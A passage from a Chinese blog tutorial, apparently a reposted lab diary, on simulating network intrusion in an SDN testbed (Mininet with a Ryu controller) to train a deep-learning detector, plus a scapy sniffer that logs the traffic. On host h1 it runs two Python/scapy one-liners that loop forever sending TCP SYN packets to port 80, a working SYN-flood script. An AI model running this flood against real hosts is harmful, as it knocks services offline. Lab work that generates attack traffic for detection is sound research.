当前位置: 首页 > news >正文

【网络安全】【深度学习】【入侵检测】SDN模拟网络入侵攻击并检测,实时检测,深度学习【二】

文章目录

  • 1. 习惯终端
  • 2. 启动攻击
  • 3. 接受攻击
  • 4. 宿主机查看h2机器

1. 习惯终端

上次把ubuntu 22自带的终端玩没了,治好用xterm:
以通过 Alt+F2 然后输入 xterm 尝试打开xterm 。
然后输入这个切换默认的终端:

sudo update-alternatives --config x-terminal-emulator

这之后就可以用Ctrl+Alt+T打开新终端了。

2. 启动攻击

执行Mininet:

sudo python3 simple_topo.py

执行ryu:

ryu-manager simple_switch.py

h1机器执行:

python3.8 -c "
from scapy.all import *
target_ip = '10.0.0.2'
target_port = 80
while True:
    send(IP(dst=target_ip)/TCP(dport=target_port,flags='S'),verbose=0)
"
python3.8 -c "
from scapy.all import *
target_ip = '192.168.111.102'
target_port = 80
while True:
    send(IP(dst=target_ip)/TCP(dport=target_port,flags='S'),verbose=0)
"

3. 接受攻击

在之前的代码中,已经捕获到攻击流量并打印。

from scapy.all import *

def packet_callback(packet):
    if packet.haslayer(IP) and packet.haslayer(TCP):
        src_ip = packet[IP].src
        dst_ip = packet[IP].dst
        src_port = packet[TCP].sport
        dst_port = packet[TCP].dport
        flags = packet[TCP].flags
        
        print(f"IP: {src_ip} -> {dst_ip}, TCP Port: {src_port} -> {dst_port}, Flags: {flags}")

sniff(iface="h2-eth0", prn=packet_callback, store=0)

4. 宿主机查看h2机器

网桥

在VM中用网桥好像不行,这个方案得想个完全的办法。我解决了再来写。

相关文章:

  • JVM常用概念之线程本地分配缓冲区(ThreadLocal Allocation Buffer,TLAB)
  • 【双系统 安装ADB】
  • Oracle中select取值后的字符串处理
  • 跨服务器迁移 Redis 数据
  • Web前端开发12章:深入探索与实战解析
  • 在不使用js在情况下只用css实现瀑布流效果
  • Java项目之消息队列(手写java模拟实现mq)【七、⽹络通信协议设计、消息队列服务器端实现、客户端实现】✔ ★
  • Oracle复习部分记录
  • AWS无服务器 应用程序开发—第八章 计算服务(AWS Lambda)
  • 【禁用Windows Defender】Defender Control v2.1
  • 前端HTML相关知识
  • adb简单使用命令
  • 【泛微系统】PC端/移动端JS写法区别
  • 深入理解Java正则表达式及其应用
  • Zig标准库:最全数据结构深度解析(1)
  • 【C++】C/C++内存管理
  • centos环境上:k8s 简单安装教程
  • AIRNet模型使用与代码分析(All-In-One Image Restoration Network)
  • 华为和锐捷设备流统配置
  • 【PPT教程】一键重置幻灯片背景的方法,新建幻灯片带默认背景
  • 库里22分赢下抢七大战,火箭十年难破“火勇大战”的魔咒
  • 美国加州州长:加州继续对中国“敞开贸易大门”
  • 人民日报评论员:因势利导对经济布局进行调整优化
  • 金砖国家外长会晤发表主席声明,强调南方国家合作
  • “即买即退”扩容提质,上海静安推出离境退税2.0版新政
  • 阿里开源首个“混合推理模型”:集成“快思考”、“慢思考”能力